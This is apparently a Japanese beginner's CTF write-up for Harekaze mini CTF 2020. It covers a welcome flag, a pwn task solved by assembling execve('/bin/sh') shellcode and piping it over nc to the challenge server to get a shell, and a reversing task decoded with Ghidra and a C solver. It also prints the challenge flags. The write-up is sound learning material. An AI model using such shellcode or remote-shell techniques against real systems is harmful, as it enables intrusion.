はじめてCTFに参加した (Harekaze mini CTF 2020)
はじめに
はじめてCTFというものに参加しました。というのも、最近 Malleus CTF Pwn という本を読んでpwnめちゃくちゃおもしろいなと思っていたところに、ちょうど初心者向けっぽいCTFが開催されるという噂を耳にしたからです。どうせならということで、思い切って参加してみました。ちなみに本はまだ半分くらいしか読んでないです。
参加したのは Harekaze mini CTF 2020 というCTFです。(twiitter → #HarekazeCTF)
初CTFの結果は、welcome問題も含めて3問解くことができました。CTF業界ではまだまだだと思いますが、初めてにしてはがんばったのでは?
CTFではwriteupなるものを書く文化があるみたいなので、解けた問題について書いてみました。
[Misc] Welcome (warmup)
Harekaze mini CTF 2020へようこそ! フラグは HarekazeCTF{4nch0rs_4we1gh} です。
問題文にフラグが書いてあるので、そのまま提出するだけ。
[Pwn] Shellcode (warmup)
nc xxx.xxx.xxx.xxx 20005
問題文のとおりにアクセスしてみる。
$ nc xxx.xxx.xxx.xxx 20005 Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL)
サーバで動いているプログラムのソースコードは提供されている。
- shellcode.c
#include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> char binsh[] = "/bin/sh"; int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Present for you! \"/bin/sh\" is at %p\n", binsh); puts("Execute execve(\"/bin/sh\", NULL, NULL)"); char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6); read(0, code + 6, 0x100); mprotect(code, 0x1000, PROT_READ | PROT_EXEC); ((void (*)())(code))(); return 0; }
どうやら execve("/bin/sh", NULL, NULL)
を実行する shellcode を入力で与えれば、実行してくれるらしい。
shellcode ってなに?という状態だったので調べてみたところ、以下の記事がわかりやすかった。
シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことからシェルを起動するかに関わらずシェルコードと呼んでいます。
ということで、shellcode をつくってみる。rax に execve のシステムコール番号を、rdi (第一引数) に /bin/sh
のアドレスを、rsi, rdx (第二、第三引数) に NULL を格納して systemcall
を呼ぶ。
- execve.s
/* execve.s */ .intel_syntax noprefix .globl _start _start: mov rax, 59 mov rsi, 0 mov rdx, 0 lea rdi, [0x404060] syscall
$ gcc -nostdlib execve.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05
サーバプログラムに入力。
$ (printf '\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05'; cat) | nc 20.48.83.165 20005 Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL) ls bin boot dev etc home lib ...
無事シェルがとれたっぽい。(わかりにくいけど ls
を実行している)
CTF に参加したのは今回が初めてなので、CTF での shell 奪取も初。これはうれしい。
あとは flag を探して出力するだけ。
find . -name flag ./home/shellcode/flag find: './root': Permission denied find: './proc/tty/driver': Permission denied ... cat ./home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
(ここで何をしているのかは正直わかってない)
// Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
[Reversing] Easy Flag Checker (warmup)
このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。
chall という名前のバイナリファイルがダウンロードできるので、ダウンロードして実行してみる。
$ ./chall Input flag: aaa Nope.
objdump して眺めてみたが、まったくわからない。
ということで、Malleus CTF Pwn でも名前が紹介されていた Ghidra をインストールして使ってみることにした。
これは便利。真ん中のウィンドウが逆アセンブル結果、右のウィンドウがデコンパイルした結果。
このデコンパイルした結果が C 言語みたいになっていて、普通に読むことができる。
check
という関数でフラグが正解かどうか判定しているっぽい。check
には入力した文字列と "fakeflag{this_is_not_the_real_flag}"
という文字列を引数として与えている。
check
関数のデコンパイル結果を見てみる。
undefined8 check(long param_1,long param_2) { char cVar1; int local_c; local_c = 0; while( true ) { if (0x22 < local_c) { return 0; } cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8)) ((int)*(char *)(param_2 + local_c),(int)(char)table[local_c], (int)(char)table[local_c]); if (cVar1 < *(char *)(param_1 + local_c)) break; if (*(char *)(param_1 + local_c) < cVar1) { return 0xffffffff; } local_c = local_c + 1; } return 1; }
funcs
関数の返り値を cVar1
という変数に格納していて、 cVar1
の値と param_1 + local_c
に格納されている値が一致しているかをチェックしている。これをフラグ文字数分繰り返してすべて一致していれば0を返す。
funcs
と table
が気になるので Ghidra で検索。
funcs + 0x0
, funcs + 0x8
, funcs + 0x10
のアドレスに、それぞれ add
, sub
, xor
という関数のアドレスが格納されていた。それぞれの関数も検索すると、2つの引数に対して関数名通りの処理をするというわかりやすいものだった。
table
には、フラグ文字数分だけ値が格納されていた。この値が、 add
などの関数に与える2つの引数のうちの1つとなる。
(local_c % 3) * 8
の値に応じて呼ぶ関数を変えていることがわかったので、あとはフラグを出力するコードを書くだけ。
- solve.c
#include <stdio.h> #define FLAG_LEN 35 int main() { int i; char *fake = "fakeflag{this_is_not_the_real_flag}"; char table[] = { 0xe2, 0x00, 0x19, 0x00, 0xfb, 0x0d, 0x19, 0x02, 0x38, 0xe0, 0x22, 0x12, 0xbd, 0xed, 0x1d, 0xf5, 0x2f, 0x0a, 0xc1, 0xfc, 0x00, 0xf2, 0xfc, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3c, 0x05, 0x39, 0x13, 0xba, 0x00 }; char ans[FLAG_LEN + 1]; for (i = 0; i < FLAG_LEN; i++) { switch (i % 3 * 8) { case 0: ans[i] = fake[i] + table[i]; break; case 8: ans[i] = fake[i] - table[i]; break; case 16: ans[i] = fake[i] ^ table[i]; break; default: printf("error\n"); return -1; } } ans[FLAG_LEN] = '\0'; printf("%s\n", ans); return 0; }
フラグ取得。
$ gcc -o solve solve.c $ ./solve HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
おわりに
解けた3問以外では、pwnのNM Game Extremeという問題と、reversingのWaitという問題にチャレンジしましたが、わからずじまいで寝てしまいました。
他の人のwriteupを読んで勉強したいと思います。また出るぞ。